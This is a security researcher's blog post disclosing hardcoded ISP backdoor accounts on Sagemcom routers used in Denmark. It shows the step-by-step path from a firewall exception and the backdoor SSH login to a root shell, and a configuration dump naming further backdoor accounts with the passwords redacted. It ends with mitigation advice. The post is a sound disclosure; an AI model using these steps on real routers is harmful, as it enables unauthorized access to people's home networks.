Remote root access to Denmark routers due to backdoor accounts of ISP

In this post I explain how a previous command injection vulnerability in one of Denmark’s ISP routers lead to find two backdoor accounts for Web interface and SSH that can affect up to 450 routers.

Summary

1. Previous vulnerability
2. Root LAN access
3. From LAN to WAN
4. Mitigation

1. Previous vulnerability

In the summer of 2019 I found an article on how to get root access on the SagemcomF@st router which is commonly used in Denmark by various ISPs. The vulnerability back then was a command injection in one of the functions available for the support account (a.k.a a backdoor account hardcoded in the configuration of the routers).

<SupportUserName>TDC</SupportUserName>
<SupportPassword>XXXXXXXXXX</SupportPassword>

A few months later, logging in with the support account does not work anymore (?) and the command injection is fixed.

2. Root LAN access

Knowing the poor security patches usually applied to the routers, I started to look for another command injection exploit by hammering the input fields in the web interface using my admin account. But without success.

Taking a different approach I scanned the router using nmap multiple times, with different flags and speed – still nothing juicy.

Looking through the web interface options, I was intrigued by the Firewall menu. There is no option to disable it, but it is possible to add exceptions for inbound and outbound traffic.

Incoming IP Filtering Setup

When the firewall is enabled on a WAN or LAN interface, all incoming IP traffic is BLOCKED. However, some IP traffic can be ACCEPTED by setting up filters. Choose Add or Remove to configure incoming IP filters.

“Nice!” Maybe there are other services exposed that I’m unable to see due to the firewall. So I added my local IP range to the exceptions, scanned it again and discovered port 22 SSH open.

Trying root:root, root:<empty>, web interface admin account, support:support didn’t get me anywhere, nor did googling for default credentials. In the end I thought about the previous web interface backdoor account. That one worked and it dropped me in a limited shell. WoopWoop.

root@kali:~# ssh TDC@192.168.0.1
TDC@192.168.0.1's password: 
BCM9ffffffff Broadband Router
 > ?
?
arp
brctl
cat
debugcli
df
dhcpserver
dhcpv6s
dns
dslite
dumpcfg
dumpeid
dumplock
dumpmdm
dumpsysinfo
echo
encodeb64
ethstats
exit
exitOnIdle
help
ieee1905
ifconfig
ipprovmode
kill
lagctl
lan
lanhosts
logdest
loglevel
logout
mcpctl
mdm
mdmfiledecode
meminfo
passwd
ping
pmip
primarybridgemode
ps
pseudobridgemode
psp
quit
reboot
restoredefault
rip
route
save
setacsurl
setmac
sntp
swversion
sysinfo
telnet
tftp
tr69
tunnel
uptime
wifistats
wlctl

To search for a command, type help followed by part of the command name.
 Help will return all commands that include that string.

 > CLI exiting now.

Bye bye. Have a nice day!!!
Connection to 192.168.0.1 closed.

Now this is great, and there are alot of functions but it’s still a limited shell:

> cd /
consoled:error:743.518:processInput:415:unrecognized command cd /
 > ls -la
consoled:error:745.085:processInput:415:unrecognized command ls -la
 > pwd
consoled:error:753.634:processInput:415:unrecognized command pwd
 > ls /tmp
consoled:error:759.963:processInput:415:unrecognized command ls /tmp

We can see as well why the command injection was no successful anymore from the web interface, since most of the special characters used for injection are blocked:

> cat /etc/passwd; cat /etc/passwd
consoled:error:397.024:cli_processCliCmd:615:Invalid chararcter |&;()<>`$ in the command

Initially I thought I could use some of the available functions to spawn another shell. Than I saw the “telnet” option which would enable telnet access for LAN and/or WAN. I tried that one first, but without success since it couldn’t find the iptables binary.

 > telnet help
 Telnet --- set network permission for Telnet
4 options: 
 1 -- LAN ----------- allow LAN access for Telnet
 2 -- WAN ----------- allow WAN access for Telnet
 3 -- LAN or WAN -----allow WAN and LAN access for Telnet
 4 -- Disabled -------no access for Telnet
Sample: telnet LAN -- allow LAN access for Telnet
        telnet 4   -- block LAN WAN access for Telnet
telnet 1
sh: iptables: command not found
sh: ip6tables: command not found
sh: iptables: command not found
sh: ip6tables: command not found
sh: iptables: command not found
sh: ip6tables: command not found
sh: iptables: command not found
sh: ip6tables: command not found
 Telnet networkAccess changed to LAN, reboot to take effect !

However, in the end escaping the limited shell was easier than that though:

root@kali:~# ssh TDC@192.168.0.1
TDC@192.168.0.1's password: 
BCM9ffffffff Broadband Router
 > sh
sh-3.2# bash
bash-3.2# id
uid=0(root) gid=0(root) groups=0(root)

3. From LAN to WAN

Getting root access from LAN knowing the admin account is nice, but it’s still very limited. You have to be on the same network, and know the account that will allow you to disable to firewall. Fortunately, the option to dump configuration un-encrypted which was previously available in this blog post, is still available from the limited shell that we got

> help
..
dumpmdm
..

Searching for X_BROADCOM_COM_LoginCfg we get what we need: a backdoor account (SupportUserName MSO) for the web interface which allows us to disable the firewall and use the previously found SSH account.

    <X_BROADCOM_COM_LoginCfg>
      <RootUserName>root</RootUserName>
      <RootPassword>XXX</RootPassword>
      <TelnetUserName>TDC</TelnetUserName>
      <TelnetPassword>XXX</TelnetPassword>
      <TelnetPasswordHash>XXX</TelnetPasswordHash>
      <SshUserName>TDC</SshUserName>
      <SshPassword>XXX</SshPassword>
      <AdminUserName>admin</AdminUserName>
      <AdminPassword>XXX</AdminPassword>
      <AdminPasswordHash>XXX</AdminPasswordHash>
      <SupportUserName>MSO</SupportUserName>
      <SupportPassword>XXX</SupportPassword>
      <SupportPasswordHash>XXX</SupportPasswordHash>
      <UserUserName>viewonly</UserUserName>
      <UserPassword>XXX</UserPassword>
      <UserPasswordHash>XXX</UserPasswordHash>
      <CmRemoteUserName>MSO</CmRemoteUserName>
      <CmRemotePassword>XXX</CmRemotePassword>
      <CmRemotePasswordHash>XXX</CmRemotePasswordHash>
      <HttpPasswordOfTheDaySeed>XXX</HttpPasswordOfTheDaySeed>
    </X_BROADCOM_COM_LoginCfg>

A quick search on Shodan reveales at least 450 routers that may be affected:

4. Mitigation

Don’t expose the web interface to the internet. If you don’t know how to do that, go to your default gateway management interface (mine is http://192.168.0.1) and log in with the account printed on the router (something like admin: ABC123EDF).

Once logged in, go to advanced menu and ensure that the Remote Config Management is NOT enabled:

It could be that some ISPs that push updates will overwrite this option, so checking it from time to time seems like a good idea.